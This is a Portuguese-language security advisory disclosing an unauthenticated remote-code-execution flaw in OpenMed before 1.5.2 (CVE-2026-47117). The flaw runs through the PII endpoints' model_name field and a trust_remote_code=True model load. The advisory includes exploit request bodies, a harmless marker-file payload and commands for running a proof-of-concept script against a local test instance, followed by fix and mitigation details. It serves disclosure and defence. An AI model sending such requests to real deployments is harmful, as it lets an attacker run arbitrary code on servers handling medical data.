
OpenMed < 1.5.2 RCE não autenticado via carregamento do modelo de filtro de privacidade de PII e trust_remote_code=True
Gravidade: Crítica, CVSS 4.0 9.3, CVSS 3.1 9.8 (atribuída pela VulnCheck, a CNA)
Vetor (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Vetor (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Afetado: OpenMed < 1.5.2
Corrigido em: 1.5.2
CWE: CWE-94 (Controle Impróprio da Geração de Código, Injeção de Código)
Reportado por: Sai Teja Erukude
CNA: VulnCheck
Publicado: 2 de junho de 2026
O OpenMed anterior à versão 1.5.2 contém uma vulnerabilidade de execução remota de código não autenticada no caminho de carregamento de modelos do filtro de privacidade PII.
Os endpoints da API REST POST /pii/extract e POST /pii/deidentify aceitam um valor model_name do corpo da requisição. Em versões vulneráveis, o dispatcher do filtro de privacidade usava correspondência ampla por substring nesse valor controlado pelo atacante. Um nome de modelo como attacker/foo-privacy-filter-bar podia, portanto, ser roteado para o backend do filtro de privacidade.
Em implantações sem MLX/Torch, esse backend carregava artefatos de modelo Hugging Face por meio do Transformers com trust_remote_code=True. Se o repositório de modelos controlado pelo atacante contivesse código Transformers personalizado referenciado por meio de auto_map em config.json ou tokenizer_config.json, o Transformers importava e executava esse código Python durante o carregamento do modelo ou do tokenizador.
O código importado era executado com os privilégios do processo do serviço OpenMed.
Um atacante remoto não autenticado que consiga acessar a API REST do OpenMed pode executar código Python arbitrário no servidor ao fornecer um identificador de modelo malicioso no estilo Hugging Face em model_name.
Dependendo da implantação do serviço, isso pode permitir:
O problema é acessível por meio de ambos os endpoints PII, pois ambos aceitam model_name e usam o mesmo caminho de extração/carregamento de modelos PII:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
O fluxo de controle vulnerável apresenta duas falhas de limite de confiança:
model_name fornecido pelo usuário ao selecionar o backend do filtro de privacidade.trust_remote_code=True.O dispatcher tratava qualquer identificador de modelo que contivesse privacy-filter como parte da família do filtro de privacidade. Isso permitia que identificadores controlados pelo atacante, por exemplo attacker/foo-privacy-filter-bar, alcançassem um caminho de código destinado aos modelos confiáveis de Filtro de Privacidade de primeira parte.
Uma vez roteado para lá, o Transformers podia carregar código personalizado controlado pelo atacante por meio de auto_map. Essa importação ocorre durante o carregamento do modelo/tokenizador, antes que qualquer inferência útil precise ser bem-sucedida. Uma prova de payload pode, portanto, ser tão pequena quanto:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py cria um diretório de modelo local inofensivo no estilo Hugging Face cujo nome contém privacy-filter. Os módulos Transformers personalizados gerados gravam um arquivo de marcação ao serem importados. O script então envia uma requisição a uma instância de teste da API do OpenMed usando esse diretório como model_name.
O comportamento esperado nas versões vulneráveis do OpenMed é:
model_name controlado pelo atacante.trust_remote_code=True.Execute apenas contra uma instância de teste local:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
Se o serviço OpenMed for executado em algum lugar que não possa acessar o diretório local gerado, publique um modelo de teste equivalente em um repositório Hugging Face controlado e passe esse identificador explicitamente:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
Atualize para o OpenMed 1.5.2 ou posterior.
O OpenMed 1.5.2 separa o roteamento da confiança:
privacy-filter não são mais roteados pelo caminho confiável do filtro de privacidade.PrivacyFilterTorchPipeline define trust_remote_code como False por padrão.OPENMED_TRUSTED_REMOTE_CODE_MODELS.Se a atualização imediata não for possível:
model_name controlados pelo usuário para o Transformers com trust_remote_code=True.| Data | Evento |
|---|---|
| 18 de maio de 2026 | Vulnerabilidade submetida à VulnCheck |
| 20 de maio de 2026 | A VulnCheck iniciou o processo de divulgação coordenada |
| 22 de maio de 2026 | CVE-2026-47117 alocado provisoriamente |
| 1º de junho de 2026 | Correção do OpenMed 1.5.2 revisada e confirmada |
| 2 de junho de 2026 | CVE-2026-47117 publicado |
Descoberta e reportada por Sai Teja Erukude, coordenada por meio da VulnCheck.